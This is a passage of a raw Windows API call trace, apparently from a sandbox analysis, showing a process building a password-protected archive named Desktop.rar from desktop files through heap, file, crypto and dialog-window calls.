Size=0x48) returned 0x1ec0a656ce0 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb50 | out: hHeap=0x1ec0a590000) returned 1 [0067.064] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a6577d0 [0067.064] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a730 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0067.064] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a730 | out: hHeap=0x1ec0a590000) returned 1 [0067.065] GetTickCount () returned 0x26a97 [0067.065] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15839362914) returned 1 [0067.065] GetTickCount () returned 0x26a97 [0067.065] GetTickCount () returned 0x26a97 [0067.065] GetTickCount () returned 0x26a97 [0067.065] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.065] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.065] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.065] ResetEvent (hEvent=0x344) returned 1 [0067.065] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.152] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.152] GetTickCount () returned 0x26af5 [0067.152] GetLastError () returned 0x0 [0067.152] SetLastError (dwErrCode=0x0) [0067.152] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.152] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.152] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.152] SetWindowTextW (hWnd=0x1028e, lpString=" 100%") returned 1 [0067.153] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0067.153] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15848158189) returned 1 [0067.153] GetTickCount () returned 0x26af5 [0067.153] GetTickCount () returned 0x26af5 [0067.153] GetTickCount () returned 0x26af5 [0067.153] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.153] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.153] GetFocus () returned 0x102a8 [0067.153] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.154] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.154] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.154] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.154] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.154] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x6c6de [0067.154] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x6c73b [0067.154] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.154] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.154] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.154] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.155] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xb0, lpOverlapped=0x0) returned 1 [0067.155] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.155] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.155] SetFilePointer (in: hFile=0x32c, lDistanceToMove=444126, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x6c6de [0067.155] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x6c6de [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0067.155] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef640, Size=0x48) returned 0x1ec0a657460 [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.155] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a6577d0 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef610 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefac0, Size=0x48) returned 0x1ec0a6569c0 [0067.155] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64a190 [0067.155] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a193*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a193*, lpNumberOfBytesWritten=0xe414d8140*=0x5d, lpOverlapped=0x0) returned 1 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.155] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x6c7eb [0067.155] CloseHandle (hObject=0x350) returned 1 [0067.155] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.155] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.156] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.156] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.156] FindFirstFileW (in: lpFileName="dRR2.wav", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.156] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.156] CreateFileW (lpFileName="dRR2.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\drr2.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.156] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.156] GetTickCount () returned 0x26af5 [0067.156] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.156] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.156] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.156] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.156] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0067.156] SetWindowTextW (hWnd=0x1028c, lpString="dRR2.wav") returned 1 [0067.157] GetTickCount () returned 0x26af5 [0067.157] UpdateWindow (hWnd=0x10284) returned 1 [0067.157] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.157] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.157] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.157] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.157] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x287)) [0067.157] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.157] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15848605316) returned 1 [0067.157] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xcb4e, lpOverlapped=0x0) returned 1 [0067.158] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d911b8e, nNumberOfBytesToRead=0xf34b2, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d911b8e*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.158] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.158] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.158] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.158] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0067.158] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd90, Size=0x48) returned 0x1ec0a656f10 [0067.158] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.158] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.158] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a656a10 [0067.158] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.159] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.159] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656b50 [0067.159] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656b50, Size=0x7a) returned 0x1ec0a64a190 [0067.159] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.159] GetTickCount () returned 0x26af5 [0067.159] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15848743207) returned 1 [0067.159] GetTickCount () returned 0x26af5 [0067.159] GetTickCount () returned 0x26af5 [0067.159] GetTickCount () returned 0x26af5 [0067.159] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.159] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.160] ResetEvent (hEvent=0x344) returned 1 [0067.160] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.162] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.162] ResetEvent (hEvent=0x344) returned 1 [0067.162] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.163] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.163] GetTickCount () returned 0x26af5 [0067.163] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15849201922) returned 1 [0067.163] GetTickCount () returned 0x26af5 [0067.163] GetTickCount () returned 0x26af5 [0067.163] GetTickCount () returned 0x26af5 [0067.163] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.164] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.164] ResetEvent (hEvent=0x33c) returned 1 [0067.164] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.165] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.165] ResetEvent (hEvent=0x33c) returned 1 [0067.165] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.166] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.166] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.166] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.166] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x6c7eb [0067.166] SetFilePointer (in: hFile=0x32c, lDistanceToMove=92, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x6c847 [0067.166] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.166] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.167] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.167] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.167] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xcc00, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xcc00, lpOverlapped=0x0) returned 1 [0067.168] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.168] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.168] SetFilePointer (in: hFile=0x32c, lDistanceToMove=444395, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x6c7eb [0067.168] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x6c7eb [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0067.168] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbe0, Size=0x48) returned 0x1ec0a656fb0 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.168] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb50, Size=0x48) returned 0x1ec0a657460 [0067.168] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.168] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.168] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0067.168] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.168] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0067.168] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a8e0 [0067.168] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a8e3*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a8e3*, lpNumberOfBytesWritten=0xe414d8140*=0x5c, lpOverlapped=0x0) returned 1 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0067.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5c) returned 0x1ec0a5c4950 [0067.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a8e0 | out: hHeap=0x1ec0a590000) returned 1 [0067.169] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x79447 [0067.169] CloseHandle (hObject=0x350) returned 1 [0067.169] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.169] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.169] FindFirstFileW (in: lpFileName="EKbd9czGD.bmp", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09050 [0067.169] FindClose (in: hFindFile=0x1ec0de09050 | out: hFindFile=0x1ec0de09050) returned 1 [0067.169] CreateFileW (lpFileName="EKbd9czGD.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\ekbd9czgd.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.169] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.169] GetTickCount () returned 0x26b04 [0067.169] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.169] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.169] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.169] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.169] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="dRR2.wav") returned 8 [0067.170] SetWindowTextW (hWnd=0x1028c, lpString="EKbd9czGD.bmp") returned 1 [0067.170] GetTickCount () returned 0x26b04 [0067.170] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.170] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.170] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.170] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.170] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x297)) [0067.170] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.170] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15849906195) returned 1 [0067.170] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x16ee6, lpOverlapped=0x0) returned 1 [0067.171] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91bf26, nNumberOfBytesToRead=0xe911a, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91bf26*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.171] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.171] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6a0 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.171] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, 